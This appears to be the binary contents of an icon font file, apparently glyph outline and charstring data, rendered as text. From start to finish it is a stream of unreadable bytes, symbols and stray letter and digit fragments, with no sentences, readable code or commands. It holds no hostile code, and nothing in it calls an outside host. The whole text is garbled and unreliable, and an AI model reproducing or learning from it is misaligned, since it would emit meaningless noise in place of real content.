E()??H/&=,7H`52#!"&546335#6264&"54.#"#5#354632   gC  @!!@C    u"j  h V[cipw}2#!"&5463>54&#"54&5".'&'0'43767.547&7662>&&364#"32&'&6'6&'6'&&6'&'6'"2=aEE]>2       +    S   `W7D]]D7W      ) @  0#"'327"&'327.=&547&546326767(ItFXI I:#5 &/'q@=+.$ "( 5iW6/-)+  81: +>!% %537#54;5&#"#3.5462xY: E()??YxΑ\H/&=,7H\gemu}7#54366'72&2&5<54'>54&'6'&&".&'./"2?'.5466'&'6'&6'&'6&!(GDtC]K $   " A%  "    L^, " 3@pDS? (%   %!(     0Sh ! J#"'6?32654&#"7>76'&54632#"&7>54.#".5462g&# 7IXALW=3.:$  GW'Α (; YA=RX>9 "+A9,!4 $  " g.~NgR+6?32>54&#"74676'&54632#"&7>54'&#"&5463!2 %:!WAKW=2-:#  Y`p$; (F*=QW>8 !+@8, 4 #  7  `+72#!"&54632654'#3#".546327&#"%5#5##335t+5^9$');;`6,"%;R;R t'%#"&4632&#"3267#53##5#5353fRPppPK54. 7 F126mn888778Sipp22 8!2G6C88888(3#3'"&4632#54.#"#33>32d]]. |]!]Z . "- +) , *#+))0! 3LT6#".5462#*.'&547&5472632>34&#""'&#";2>&2"&4 #9 ) 76-*#1*/*&1"'@(" ,0+ "(*&00/d##&$ $;$  (7A0 .w#00#& +V$&$$& {%#76&+###'!2a41$% `--=!'7#3/#3?#'# 56/cat44 0>&L1'73?!7!7!7@RtM PP_),,aR5R.AT%#5"##5"#723>75."#57536353'262>54.2>54.#6MGB1 1 X  T 1 1        ! R5,DCCD:4ONMO :T`      2$'#"'&'.'547>7>7327'& j,,*'  j,,*ǏD $# Z+ %CY+ RQ#70+"&?'&6;2%+"/>76;2F AE,A  [B \H) B| zL V 6H  12#!"&54632767'&+"3%6&+";26/\0 .1 /fB/B` U7 6W x w '7'7757'7LUTTUTTTUUTTTTTUTT~ %'?'7'?'#553!53# zw w4((')'.$T%((Pxx3k2"&4264&"6"&462"'&'.5&47676762><.'&'.*#*:3:>76`CC`CT>,,>,\C==! !!==C- #)(#  #)'#3C`CC`{,>,,>6=C! 76;232+766 5!*> / *(F T T#!  ., D B% s R  @ 72#!"&54636/&'&&=32=4+54+";3244, 1&*`( S4H 8+Z}(%"&#"#.'&5467232>''&7>7?= : ./ 1E.8 938 % &?&P26*'?F (n&( ( 7#53537#b"  $;DP_7"&=463253+&=#&=#"&7#4>7'&7676&4&"3264&#"322#"&=46Z   &   66" we  t  t  ==== #$$#52 t  t   k~ )C#'476#"&"54762"10'&'&"#'.'&'&76'&5476767>7&767674.>32&63"6'&""60'&672676&367676'.'&#""6&/&'&6567656767636'6'&'"&#&'&''.'&'&76#%4'.'&'&'"1767>&72132767>2#"'&   %    +!  !    0       (   $ 29#%                  E    .3% "#"(#*%9   )  <    5$  2  # 1!.2   3$     &   #  ".6<2"&4%6&'.>'7&>7&''7&'67&ΑΑ:# IKG'd3+$"70!^e$76H% lnR.t3 =YM?EΑ* JR# 9C &(,9!AR<8.  %MSK.4Z PS%#"'#"&547&546326322654'&'.543232>54&"#".#"B.&UxB.&Ux-C[ *  DWA      G&.BxU&.BxUr-)9 ()    &t?2+"'&54636&+"?>;2>7676&+"&=4>;2>5C0  S  Y I Z j ! J l% #52#!"&54=46354&+";26754&+";26!!! S  S  Q  Q !!}(!   {   2"&4>&'&'.ΑΑk ! & " qΑQ    4`M0+".'&#"#"&'.54;2326=.54>;227>?6;2!)" ;  ( /`$"-; =]$ ;JD3    &! 84.[0  =` W t<  &0>JT\6&&676&"&547676766.766&76&&6'.7>'&>&7&76  &3  ULH<,7"'>77.=RB:6^:)?8-? ?-7!6'XvR EZ=iE Q..QX3?M)\ZR%&/#"43267.'>67".'665.674>2/>21-a9 0Q%/,7% $4##& #*)  &&7&' >H;3 -'   $,  " $$6 *+( %2)%   7!+5#"&=!%5!'2!5463&W&dA&d&t'ZZ'-UUnUU((42#!"&54636'&6&'."6323276P2B! -A@`?N  *f  #!3TR+4BKW7"&46;462"&5"&4622+"&54>3462+'"&=46322"&=7"&46;2#^&/''/'/v  3&/'  /'/v'/v3&/'  /'/v  &/''/7AIQ.54'76&#'&33'76&#"#>32"#"#"'76546"&4624&"2>e6BeL "8 !/M #^7S=A#$:0A<ΑΆċg>-"4G [,48": 2/7:b($ ΑΑċċ%.546777'7&'57DWumS7EM:D%(E3# R85Q + 8$&:T!+7&#"7.'327>7327     g ;/%9*7-39`O$4%#"&4632.32>7#53kggaEC YM7Z@#7jΑAA !M2A\#"V;IU6"&5462$"&462"&'7264&#"'&&#"32>54'>&6"'&7672"&54>Α  $28 =2$ N61$UL C   ΑΑ N V (7$t Y    %5`%"'&76276'#"&5463272#"&5467#!"&5463!2"&'73264&#"'&&#"32654'>&RHW  [  `d '6;   B6& T:;Sf1    ` U ] ! *<<* !%92"&42754&""&=#326=405#"&='32>ΑΑ ",>,  :,,:  ",#Α!  +*l -.,+kq.0 / /+#1%"&=726='54&"#"&=332>=462B]B"4B/.BV  C[C4F.BA.FG  H:  .AB.FE  -?@-$%3#!"'&'&'.5463!225#5#"3326 `  | `   ` !%)53#55#%3#535#75#53#535'35'3#3#R3RHRRRͅR4444L]]))]]))]]u3 #2B#"'56322#"'567#!"&5463!22654.#"#754&#"7532  G  `+"-3+ 4 !DiD`/ % 3:B. 39@D7'26322/>&67>77367>?"&75.# &'<7465&#".'&'#"&54?.>3263263232654.547'6'632763'7>31#  37 6I  G#     ,g ; #,  "  ?! ,    0  5/)    '  E<     -      \ PK< 3  !    4. "    #C3^ (:T#"&54>767676'&#"&/"6'763276&'&"76'&#"#".#">2@ &pNNt& (   + $P&  V  = "+#3(* 0M,E'RhmQ%D* #&  D %**"$  11Je46326&".'.7.67>>32'64&"#".'&'7264/7'#"&5467&72767#!6*, d,3! V6"#-, Z#9, d-[(b0' (7#,,  Y d# *, d,2"6!_U #!8-- Zl!#  , d,[ (0' ( #!7,- X  @u 397+32'3254#254+%#53#32>73#"&546323&#"AH5qO/5 :8U8! >\7#!"&5463!235#4'654+32674&"327##"534-.+(?`NN+#>Z]'$?( 2" "d47--`}) 0+ +*  / #!2:B%#"&'326'7654&"&'>32>&/6'&'6"&462264&"BsCU_&*T(87M7;bg   ( 3%%3%R''CsBeO' +<8''66'V 7`   (v$4$$4&&6>I>&/6'&'2#!"&=326'7654&"&'5463"&462264&" &Y'O%53I38u0""0#;% N && ^q%(84%$33$Q 0"0""0$  .C2"&42654'&327672654'&#"327672654'&#"3276ΑΑ] `  |S  Md20  ?0$  R{B4  <5Α  9 2B  -  L 0 @3#0#57'#53?3@b[ , ]]V+ bc T ] T 5K #-9DN`u7#"5'743272#"5'7472#"5'742"5'?2#"5'7462#"5'762"5'?#"5/7547632#"'&5'?47622#"5'72+&=476326%2#"5'74'2#"5'742#"5'7o s ~!..! 7O.AEEA)iEEiDD`####9989 DBBDFDDFr@ :BCC8/ !.  I6<AACCCC+%#'.'367.54632&'654#"O* +%$ J ;+-%+7/(0  "L44\ ;K~Km5,>N12A)<: .:9 $(+/&=4?67'775'?'7'75 _MجM_7_MNNNdM_7   ;g?3ss3?5J%g?3444s3?5J%A$I%##"'.'&676'&76067>6&'&5.*&'&35236'#"'.'&67>76'.5676676.&76" $#J$; '&/("MD7 + "/26(&"# D+;'I!  ,!%B' $ "1D$  ."#C1)6% ($X 6% ('B<s L  !   &&H %  /, ["&7>721>?>././76&/7>?>?>./65g<7      -,       (8h7"67527'676"&4624&"2'67'654'7&'"'7&'&'7&47'6767'6327' :a )= :b ); a:=)$ b:=)oΑ΅Ċc   4 @@ 4  4 @@ 490  .  2991 w90 /-  09 . 09 /ΑΑĊĊW2r1 CC,  ,CC,  , "*K]}7&5472#"&6%#!"&5463!23254#"#.32>54&'654'7'"=#37'.541535#"545#23232e !!#  O`1$ @ 0  ! U 4He&$ r |`YD     XiK  = B'4<R]&'#"547&5467&54>4&'"&"'6'26&#"527>=4&'733'".5432#"&=4&"#5>73;#067%" %:5f#)-(  453T?  %%!!$  &9= "#  #&2 ,&    $##$d w!  ###j% >)a!!77#.'#3@Q#  %P@6-/0"gg-'&67&632'2'&6654&#""'&>H 77 !;kEb{Q>jP9%>"  'M0_93!!sDbENeRC9P$9G# (VG-2$./"'"'&67.5'"&6767&632 n##m   !QRQR!  7  7 0 Q^yx_Q 0 3(6GS"#"'7&54632&'"3264&264&#"'#"&46322>54.#"32>54&#"E` 1DNrQGq r   D6(F``FBc   o   Z@ ";7ME`N;5   0   =40 SuST!     F^2"&462"&46'&7<5"&#'&7&'&625463!254.#!"6366263$$3$3$$3% #G6"(& &("6H# g  B)  *D&!0""0!!0""09 *f4! *  ) !4g+      !##5#5!3735#5##5(uW932&54?6#"#&7&6#"'7&?632%67232/&54+dl   1 J  +mi  Zk > 5; " h1     R o " (  [  )  "K7+"&7>3262"&7#*+"&76763:>7676oK; H$ *m $ y@  s O,Y BpW   )&'>&42#&'&6373#&&'&'&6;25 07h<m~r |JY AUM21c2 ">LvnM X¦nfjaJH@%)HS%#70>?#!"&5463!27#/&'#37#74'&56367&#"#"/26'#"3673!m X@+'@$("$' <*4&+`jG  2  !  # @ 4BR^d -9F$"4!2#"462#72#"42011"1"1"1"1&1<143413030310030410+353#!"&5463!2327&67&#"64'4#"&#"5#3<>323<>3237#&#"327374&5427&"'63'=35#5##3734#"7'&7&5#3546467&7'7#&737&5#35467#&7373535#45&1&0#"0#111323210606107#'#537374&#"326 xu uJ Q9*#76#*9555Y - ( #   :    5"  *Q9*#67#*9Q1 Z`fsQ-,)))v%    %         %     % %  |~U:Q--Q @'3:BSkuy%+53272#!"&54633533'654.*#35#535#535+37#&"264'&75&546"'654&'&5467&2654.+35#5!26%+532  :-r#$;%%^  ! a  ,  $ l  [3z *  `R!!#RTT7:%%  /        RRR i 6A.7:AMN`g{~1Iamxy#<.+#532254+2*##'#5377'#3#57254+'#3#3#53#54.+#532254+'#5#'#'##7353733':>7#!"&=3673353>7352335;67323535#&'#&'#"1#"5#.*+.'#.'#5463!2"#"5*5#."&*#&+.'#3673465273<523272?"+73254&"&54;254&&54;#"6+5'#3##53'63023"'&47'3*;735353#'#'##"543'3#E '   !BC3)$$j?  '&&'77I ' "#   5B 4)(+  (  g .(#  O  :SR 0 '$    !W  !   '&&'889 ""!L p  EZ E6  8  Ej  EP6666EBB//(Z        \    & n]    <  (  (  E^ 7BB11E44"# (E @ ,AXr7#"54632'2+743!2+7437#!"&5463!24+";2?46:3267#"&#"327;2?47454+"'&+"0;274+";2?>:1267#"&#"327;2?474+";27'2#"546  j   @"(T  %@  "(T  ,J   !  `f   @b\'&nf   @!h1  @#@PZ^bq%2#4>2#"'5672#!"&54634.54325&#"#"'32675#53275&=5&'#3565#752654&#"'#757454&#"3275#"' $ q   J  E#e $ =$$$n  $      5` "    "Lr 3! }U b}}! " ( 3$  1OX7#"&546323254.'&54632&#" #"&'.#"26?#>BD@%)=  D<-^;+   zFE   ) (& Q FCFM % <-'J#    Q60 ( /3* g2#!"&5463254.1&54327&#"2#"'. #"326?'#"&54632L  $:%+ &.    (+#   `3 /% . 0,&      ;G2+#"&'#"&46;&546324'!"&463!.#"!2#!326%32+"&46h  5gL|C  5gL|  ^8Su*  ^8Su   gTDgTD`/9uS/9uk.'/8E%#"&547&54632&54>32>32654#"6'&"32654&>&'.#"723201&'"##"&732654&#"32'67&[!iVF_3 /  %7 P!"/ ." =0 Y!r ( 1  .  C-A6 0&Xs\99# 3%/^xeC Q\P:( '! ;A   ?$!)/ #%#!"&5463!2 #37+V `A__[p)`*[[ 3JMR_finquz%#"'#"'##"&547'&547'&54?4&14?&54>32362363225#7575'#075175573'7'37'77&='&'#'#7#"7'"7'737'37#3'#362?#6?#747'74547'67& 7 4kj 4 7 6 8jj8,,-,3483,.,rb@#  PSPY|D"uSb: 9 h3K x63)O<<$$kR#[ci\&\a |sZ#V.# _ Z Y _ \ a` L30?\4Z`H!7&'677&'>7\\gq!!p$74(-CyU#"g \$a!rp!0>}B-k#V h":%:#&&#"6326"'&#"&#"+632632 &#"&#">32632 8/-:8C,0=*)$"75>))>57#"*>G@**@G>"/6>))>6/"!18//8#9Q+)))]##&& z,<M]%#!"&5467&54>32>3254&+";26754&+";26754.+";26754&+";26)5I22I' '[:Ec   Y   Z  W   C+3HH3$< &8HcEo o       ' #'+/37;?CGMUuy}?7?7'777?#5##5##53#53#53#5##53#5#57#5#53"&462'6#"'32654&&543237&#"'#553%#5!'%!5!#5#57#553'53'#55353'#53#55#53'#5d,r" " "!"Q"=!" Q"$ "L66L5!    y a *zz " ! !Q"u"/"&      B    > g "" " 5L55L:    I""""M!!0jbbU;;!!+!! !!+!!x M"""" " "" "*2#!"&546;235463264&"264&"  >  j  7''7'7''7'  L  (( '7''7''7''7|Y%#".#"327>32#"&54>3232>.#"#"&54654&#"#"&547632632D26()!)'5*9 <+C; S(@Z)F*!<,,"'%.& % ! C2(&@3%.Bw1B#-/,$,>>,*"R?*E&",/,")) 2A ,%3 >@2#"&'"'&54>7&547632>54&#"#"&546Ik$=&(       % & A50Pd H#"'7&546322656'&"77'&'&5476323217676}C\91v \\\Ln96mF+  )1-  ! _CZ\s3<\imLJ86lL5-D? ) 3#3#'#53'#53'3377#00DRgYYgRD00@Q^Q6p0 00 0p@(!!5#'#35'&753735'&75&7@tS;DW Z O Cv@V"&&s!7#/#3@N!. -#L@[ [^B'8I[nz%'''.567&667&674665".'&7>762263&'&'45&'&67666667&6767&'6:>5>"23636#6666'6&'.6767&'"#276&67&54&&7&'6757"2654&&#327>'"#276464'*#'7>7>7&7.#'&''''&'&'65.'&26'67&'.''&'5767#65&'&'&7&5&'6&3>.>6&5467"&7654'64>76&%'.'&6'&'&6=3 3  !   (  !'% /T '     N 4  P  2 #-?,,T" 5#J $a 8 KQ/K*     1 255+7 S  98 7172 $B! <4   %  %0   %   ))   "   G   "G% "$         ! '(!$  !&' ("# -- -# .&  $6  ( O 4*!      & O6R  "3%&      #    H  + 0$"&462"2"&42>..'&&&&Q';( '3 3&XQ:aB9 *e&&&&) #,8%'   ,)#3?OW_2"&4#;2=4>;2=4&#"54&+";26'+"=4;2+"=&54622"&4264&"}}}t  %$  9(-       ΑΑ}}}    (9-  5    Α@ ;Nc%531"#527#!"&5463!2##"'232>4&7.675&464.'>54.'+326& ((h v9  73!"651""1   u{  #`   % !! 2 = @ '62"&45>54.'72#!"&54632654&+"3ggg ((p(   OywQ[5X4rOpghh 9F8 8#x``qMTn0Z8Np)8D7&#"327#".54632&#"327#".54632'2#"&54>2654&#"! !! , -.! !! + -.yi)EZ0f?sFQzvUVuwX'"(%$X'!(%h6^?%gBrD=sXUvzQSx t 7'7'7'7'77''gg-4M-4Mggf-4L-4Lg 2"&47''77'7'7'7'ΑΑJM5MM #~~~JM5NN ΑKN5MM $~|~~KN5MM  Gk 3;MU]ju}7#"&462%2"&46&'''.7&'3>3232323$4&"27>7.#"#"#"2.6$"&46254&#"26%#"&4624&"2    d/w%$s/0# Z$o+)m$` #C_DD_`P7NP2%!VZ(!WY*;**;  ': **;)''   %//.-"#v0 /u_CC_D~7L  #1+Y(!VZ(!{;**;*H  !*;**1''<(4@%'&'.7617&'.7>26?6%4632"&72654&#"!9L 9L # L;  140  L6#<#LlLB&4&&rL # 9L M    6L#;$5LL5%%%D6462"7#!"&5463!2264&".#"&/&?6/67>  `/D//D% % 0  0$  / # !!`SD//C0   /  0$ 0  +2#"&=46367>54&#"&'.#"2]]") "  *" ]] '  !  (  L#'&1.'.<53>7.'5676.#<5:3.#5'+&2RJa 0 j !; -  <)&;@z  ( cZs)%780   8=   B7.   {  jp74>32#"&$"&4624&"27'4#"#"'614#"&'764#&5473254.#672/632327"37.#"'67   Αv9+K70 B -K90  @!`  oΑΑ| A +M90 A+K8/ ",7'>32'&4>32"&%'76&'7.547M#f7C:@!)#&#11F1;!%0"#"'01&'&'&'&747676747673467676773316676767"67203&'&'&'01&'#'#'>76'&"'&/32656'.'&'&>?677%06($"?     %     .@       4,    &B05 -) "         A- #&"  ]%"327#"#.546;2&&'>4&'>:=`* &=W5.F_cg^F-0G*76+GOJk~0K?dg?sb~bJ !*2<!673#"'.546767>667&734.#"7654.#"& /?DywJF ">59O5EQapI #)IY/*=C- DI$3 DN&# Q gFOUk+9'%9! *,6J&27#"&546;%2+6''.'.676767&'- P: 4>7#  $6 /*A|0#>=g>  3E/;  73!J_q7&6765>32'&62>54&6764'&#"#'&=4;2+3>.4>#".&6.'&66'47'&>3276#"'#"'&g  9((:O2 $*8'Z &&'77& %eU;%9HD<0%,-. %0C# 1oT  5IRR   h ^%79(1; &  / &m'&&  ("Q5*E' 1*   1&_?0J%  -6Nd<.#*'4632&'.54>576#".'&62>76&7>'&&>76  JI>. 9& .2-%3%T $T/0^37&@9J'$  *  &   (@ 8$ + ,W)7  ))    &  %##3#im2uhV&#"'&'.#"'>76?676&6Y[?'   ( 4 "!]E&ArwI#-)0% L5-l !!%'7#@<@@@@\@{VVY,?N!!274&#"#3235'&74=37#4754>35'"454=#?'#'##77@3#!,8 DSgPQ   @3 %oq% l  !*9GT%2#".547.6326?6632#"&5'632>54&#"6'&"'&272>54&#" {X9a8 9O a XP9   ky  &1 ?Y)E* 0'( !}'i  hR  '701!67"'.5&736.'#>32>W\Nb'4Dz Gq$ zc@h4-6 ib69!.+ G4];64-%2+#5#"&4632'#"&546327.#"326  WAX2ggGp#=+O>WW>H-;]7[[:b,a.C&ΑIAmnHW>>W?#/5; %''7'57#d%S}.*}TA`&::Yeq%2#54&"#54;2354;2354;235435&4663232632#"&#"2354;2354;23543%54+";2754+";2"*"$$%    %%$``   p<&   @@@@Y$#"'&=#;54;2+"=#".+#"&46322>7>23>32#"&'#"!546Y  Y Y 'e&**&       6 Y 5$ <" Y ,6,*:* "  !< #6$+5326"&4624&+3532FFFȑΑ3$x2F$JΑΑH3J|7FU%#!"&5467>322>54&'&7654&#"'&#"3$#"&764'&>#"&764'&>"8'/B7*X6A`  J4%?  ** %   "   ''8C.+?3?X   4J)! );)x8  -l-  Ia(  H  :7&54636'7&"76&%#/7327654'&7466*^I"<53%8C)G!G( 4RmR=#!@P_"*&3IP  H'%*# 6 $*+),IH'0A( &'77#".4>327''77%+*| ,..C97D-,B3O}J]]J+VV+Y3O7& 6fi89gKXI^\I' 7''7'75#'7bVllV422gV ll VΝ2djd2 1#7627'&73%'#762i98f ^ 889Xڸ e &!)-%#"&'*##".67.>2%35#5&''35#7#77#7!=ZfZ=!**-e)&lm~8//8&TJ;##;JT-: "j:  $(+/36:#!"&5463!24+''#"3!2#5#5?##5#5?##5j% o==o jIIIT6vp@vcujjK22K%%J&&,u%%J&&,%%12#'".'.&56'&'&'.VP5QF! %&#D $GI& %6 (,>=E10RG .A9l ,! g,i#"&54676327#!"&5463!24&'&#"'>54#"32321/4>14&#"3267>4>7632   `@   D+    "3 ! + ,(0 3`"??%*)  <   8$  Ha%#&#"#"&546327674"#"&54>32>32'654.#"3:>76#2 (5R6(. /  BI%R6$0    7  8Y1'6  *-GB-XA-$f  P M(?1F&'67"'.>32&#">54'654#"'6767&547>.%$ 33(&Y;! :N3!#1 m;Ob/&KB%  0**JMX CJ88*p^B  T:";'AUM' 79DR;$cI)+ !2 @U2#!"&5463>''3654'5.'.5463267&#"2726&'>7 1%D   '1$%8  c< ) .`H%3+U$"#! 1./6( 0 $5 );F#.>   h2"&46'.'#&76763654'&"'6'.#0"1"#"'&3263277632327>76ΑΑ         ,'Α   <  <  l%#"&#"''.#"#"'.5.'0547>7056'.'&7>327&47>3023232761<  ("*       %( /)  $7             I$%I      n2#!"&54636'.5#&76763654'&"'6'.#0"1"#"'&03263277632327>76Z    .   ,'`   < <   #7463!1#!>7>7>7>7 F1GE1YXF1 3 /# "%!<H1FZ9f1F&  4H) GMSYc?27777''''"'7&'7&'7&'7&547'67'67'67'6'7'7'5$"2654 - 2= @DC@ =2 -  -3= @DD@ =3 - ʼbbbۄD@ =3 - -3= AED@ =3 - -3> @DuuvvPmnn;bFEccEF.93#"3#"&=4>73 5>574&'&'37#6734'7[++) %6*C( 0! >2 1=t))5%)82i@E&( 3. GA1.  Xcu462#"##"'"'"'#".5#"'67&'7&'&54>3267>761>32632632$2654.#"47327654#"&4&"326574.#"26574&"26574&"2657#"&5476326262632>74&#"32>6  &N    " $6 $G'  -    - 47)   1   1   2   M/?!FZ%"    & 3)-")R-_   O-    7!25$" &(Dt  !B6#     .iH2>.VN*?$)%12"&42>54'#3#".546327&#"%35#5##33ΑΑ#7uF) - !"13II##$$$$Α7# +  .! IfIj$##$#=2#!"&546354#"#"'&#"5654&"32756=6276323276.( %"  &*  \   - BFJNRVZcgos%#/#/##&1'&'&?&5'&?&/&?2327674?677'///7'75'??'? 7CTA&{Z"$#;Fe[ yjIP9@ F+: >NOU\_BX@)J3H,!6.CEN d ',# $&9a=/791=^:=D<>F=,DC/DJC("?$A4%#"'.5463232>5'654&#"327.#"'632(;%:tKxNOwJ r588338   +!)= ">(dAUpoV_:$ :%?PNNPON  8}h#".54>32.54654&'&563254'&7254>54'�&'<54'.#"2#"&4>7>&'&5462#!"&54>3E #!$:     ,   " !  ' &  05}2  1N+'I. /Y  !! "0$     & (1N*%H0'fm) 2"&46&762?7ΑΑr   =s>Α ] Yh?.  2"&47#ΑΑ(UUΑε .6>%/&?6''&766'&7.7627&76"&4626&'.>;4'>4&5'676&'&.'&7&'">374'&"417670.#636=4'#&'6767-    N ! )!  ΑO           2  '  /].('     $ 7 ΑΑ  %    ; 3     ! 5 n*%#X%&5>56'4.'57#.+"72>73#.'&#;2>7   h X C-Y   d54&#">&6?6'6873  Fm    D)# !  {  )S7 0;qPJ6I;J$ 0_ 3@!- "! $m>!4DUB4A %"2( 9 f - N4J)l^8Pr1N  '7\2#!"&54636&'.14"&'&'."04&'&7676&"&306/.>1276a,8''88'*$  / $|%Q)% / ,'88''8IQ &  /)    HQ & /)  7&7>7>6&'&6W?_E#ZZ#W?`E04P<'D,P<;ZW>VFe  W=WFe ;X"@'.6766&'&>7'&6&6.''0&'&'.67&67>6.'&6'&'"'&#&'&'&767>7667>763266.6a  ?  1 m  + T   FE&#'f*3T ^(+      )  %  ,P       L   9  <   w!K$ 2?#J2$ A5 @`  b    "k  F  " K  S -=M2#"&#"##"&=&54622763232672#!"&54634&#!"3!26S ('  #" &<j\,      \r\ )4E%&?'>.#"'6?'.?6176&"&463227.547  )*'1''#.L+3  D  :j-*'FA6!!(/ z $>-'<2#' V. = Q C*('A&5*'8.1S%01#547>73&'.623632&7.#.#&5&7067672?B.,]rvy3 :: q z   ;9v *)"%txBy+ / L""6 J4AX|2#!"&546367676'.6'<.'&67>4&*#"#"&63!22654*#".6767626325'&'&7>0&".5&7676 ; ';1C# @=  73    *   )- 4 %#  5E& |   '!"   ZG  22!. ;32H-"&>#"&'>76MU,MU,!I}J=l&5V $7k4!bj4 ^ K~J4-F13!T"4EM2"&46'&'"?2#!"&546337632=4&+"767676/&"264&"J44J4)### - T BiJJiJ 4J44J$C##J#U - JiJJi3I2"#"'&=#".5<>7>754.#"&'&'&76532a_@5X"0 D (V  LE (I?    & 7k   0NGV_cf%777'77?'7&7>721?6?77?7?''&"76?6&2>77'/???>761?6'7?7''7#''767676'&76767?&'&#7'###"@ /  x  $!% '%A$$%%6 K :(   ;  ( 9 &  '  +"%  )&p "? qsvPSxx$&" (uoV\>  & B< &(Mzfh?B)   +.N--+$'%' *(?BO@    &"7?K7>32#"&46;7'&>.?6732+&'.'&67&2"&44&#"326 W? 4BF5 2  ΑΑYZ~YZ~G   s$ " +  " V% ΑgZ~YZ~2G2#!"&54637&676&+76.'.#"3!264&+&'>/O>V A3  4+  3`!= #r   J$X! V!,AMan7254#"#47632#7##"&5462654&#"733>32#"&'##74&#"32673>32#"&'##74&#"326747632#32653#"'&7454&#"733632#454&#"#* & %, ' '  Z& 'Q  :& 'Q  5 ! L & #& M ]' # '   L0 _  %( Fl  O  %( Fl   #    3  .   DA/7%#'#7'#7&74767676&'&>67'?If.!$!e"E*;f!1+ 2I:rkrTWZ`6M&Of!$!nG 5%"37)*= !.SN,2.'7!9 z5*+%%57.#>32632&#"'>32'.@~6D[5#B5#<<#."4)MM)1166ȀG8*2)1110o ?II?DAT02#!"&7>37/>16./'7'67"91"91_ g E :4)s)))4)w qd 0= @ n1>f7#*&'#"1&7&6256&"#&47>323226765&#&/&5"54;67636763:'#/'"'&=47>'.'.5&632#.#"#"#"&'&6;26766&&7>&7   ),(V 2 $!  !% 4  !! !  #  '      3CK7=F4/ I4&     "  e          "  #h&)G2#1   M#42#!"&546354&+"#5#353;26'+".=46;2   @(@@@@ 9@(@. .   #*('K#'(H?Rg"&4626'7'&'7'&/022130"''&1377676'6".#727&".'72Α=    %   #   "3 (9          'ΑΑ*-+,-  3H -,-- -6< Q6  )5O62'&"..7>7&67>'&6'"&=462746#"&=4632>NGI?>i`b UT   OR^ GE11E%"!%}CG=:e`  T  Q  ]1 H   G0++0G  !1! 2 s!)2:+73272+72+732+7%2+72+72+7"&GD~!%FIFGFFF( FFyFFKYY1Y1Y61Y 1Y61Y>`7>232"'.2"'.76#"'&'&'&'&547>76 '&'.'&54'&'&'"76767> 9C) 04  I!V"2+ %v  X  .:G S&6G%"'.'.567>7>3%327654'&#">'.#"?   ";  - '48%( ,  -- .$  CB  TM %  3%-L^ #5  )22   #'+/37;?C3#75#73#75#73#75#3#75#73#75#73#75#3#75#73#75#73#xpxpxpxpxpxpxpxpppxppxpp(ppxppxpp(ppxppx#$.>.7>7>76.'6L)5!)58Gs8 K8/fYH+H5K;+35!*5!P~F@e$>]4m"C2. )u ;'/6"&4767&#"&546326&&2"&4264&">L  $'7L5-'UI^^^&X  8* 6N"q߃^^^M %#"&462'""&54632654632L'"22E1T".0G12"#)5##--&1F11-#".."#5)#"21F1q)Xhu7#"&=46;;2>=4#67>76#'&77>76/6.'&.&677&'#"&=46;2'"=4;2#754;2+"+"&=46;21/  .*75/ 62 G2$q%;Q9, 7$>4R60      &>(D( ( }    p (  ,5 +Y1+9%">,%)&". #@/ 4C3 93$  ( ( (     T 2S^w7+76;26'&++76;2";2#"&7>;#72+".>;+";2?6+"&?%2#7632+"&576&++"&?3+"&?>;2+76;2?6+"   # %    ( 9  0 # : $    I B   /5 !    _  %( #4  "c#!( @bJ (  !'#31/#?#7#{p651cb ost44XA#_5gg5_#A 6*>>*&R#&+Α+&#R>T>*.y &767676.'&'&76'&'&0&'&0&&'&1.'241676727"#00'671327>7213"767676'&'4.501&'&'&76767632767617'"#7&'0'"'"#.76&'.'&'&'4'.'&7:30236'45"37>'&'6%&'6&74&5&'&5&76767&'&'&'&7671676'&'6'&272637'67'676&'&67&'67.4>56'&'&"#>767&R "8       % ") )    ,H+#   )%     !0             "           "   | ] )  ;%   $X-. -   V   15 +* !$  %           !                     .:JZ3#5'.546762654&#"'3#5'.546762654.#"%!"3!2654&'2#!"&5463~44-.@ 44 .  -@ D    &&&&8 &' :  ' :      &&&&GL767>454'.'37#73'##".5&#".7547;2254'326& O 4" wZJ! [ !&R T&6 @$@& 3+7    # / )$J"'53'3#%#512>'.'&#4>1#53WJ>>Bj<3P -7]<`6[v@8S__"JJ=@v[6`<]7- Q232"2"&4%&'!"&5463!24&/.+.67'"367./17672>7)    s(:=XI  ,h+.#%  ( "S+ !   5390Z$K O$      2+4546264&"7\\Z5KKjKR[KjKK5!K #53+32&+3250`ӽ__q ~Td  -159=%#535#5#5'#53#5'#"'.7!27&6?6%#53#53#5'#5^BBBBZBBW C)vn8 %+ BBB B;==;;H<<<'.#"&76767>357$4&"23676&/&'YH0  !"!H)("M["/ 'sZ& #0 162R@]R/   "*4 .>>XA76  bD!3$ 4=B #)1AI7>77&'6>7&7&504576&'67&&7#!"&5463!24&"2Z(C2!@. KE.# #DI'-( 2'4/0`@^^^3$,K+%  71 $(4 :".d %0 `^^^32+532654&+#rE> <_:V_dQk@F?[*P@&@a?@`7 $,>2&&#&676.2#".54&2"&4'3237.670>636"'&5"5&?"1"&46323&''&676767.'547>3>367.>>2'%6.67>4.'&""232>7&'&7>9        N 5j!@   --H  b9 " $-  6*"(  ' G 3 (# H    l    h          ]    (    . %    O 1   U . O #2#>%13#67'.5!456WANdE#-3 TQ `AWGDuOqS .%$/ k"/0ijY_*%##5#5354>32#"3KdQQ7$$ (Y]F(8O<'B2'&*#"&5<&<.'&54>6&"/&#"?62327i`L  N'B\O :  I O :  hT{-  Fl3Z?% ;,t <, ####5353533##5353##5!###@Z@@@@Z)<K73##576=4+53546324&#"#576=4/73''7'73733r]M; &55*/E  ! n *+ & &3"# 32.*  "  (9-  -% && Q72+"=4;2+"=437010101010"01"101"1110101#0**1#*1"#"*#"#0"1*#"#*#0*&*1&#"#*1&#*#&'05&'4.#04'.5.14"5&'014&5&4&4&4&5'"&</0&1&54'4&'45"41&54&<&41&5<&<&504'41'041&5041<545&504145041<'45<547676767676767676320154+"#54+"#54+"#54#563232=4#"#"&#"5654""#54+"#54+"#54+"54667676.;ed<.*33+    (,,(4444}AOVSOA   H1 ZH LL  (>.'&7667"&54>32&760m5 %#01}~~:c;4/  M`5m #%%1U 19YY;c:!4Hlw5'.54765&'.546765.547.=46723>54&'&765>54'&76"32642>54&"6s s b 5T1E9  4>N>  dd  >N>4  &8 iQ @i=    J15tt51  -1d |h Dc8Dr  g>Eo\       \pE=g @S-Vh|JrC0-   "  "%2#"&54632&"327572&+5DDg]\[A?&nNN74&%34v R\]B?'NpN$"q50*Y L'.7>327#!"&5463!245#"'.#"7670703'&'4+76,* ,!!!!P!v(&4 <4. !#O!C%!  5 *-"O!!P!!"(*$:<,    c0?732327676564/.'47>32753.'&"67>'.+  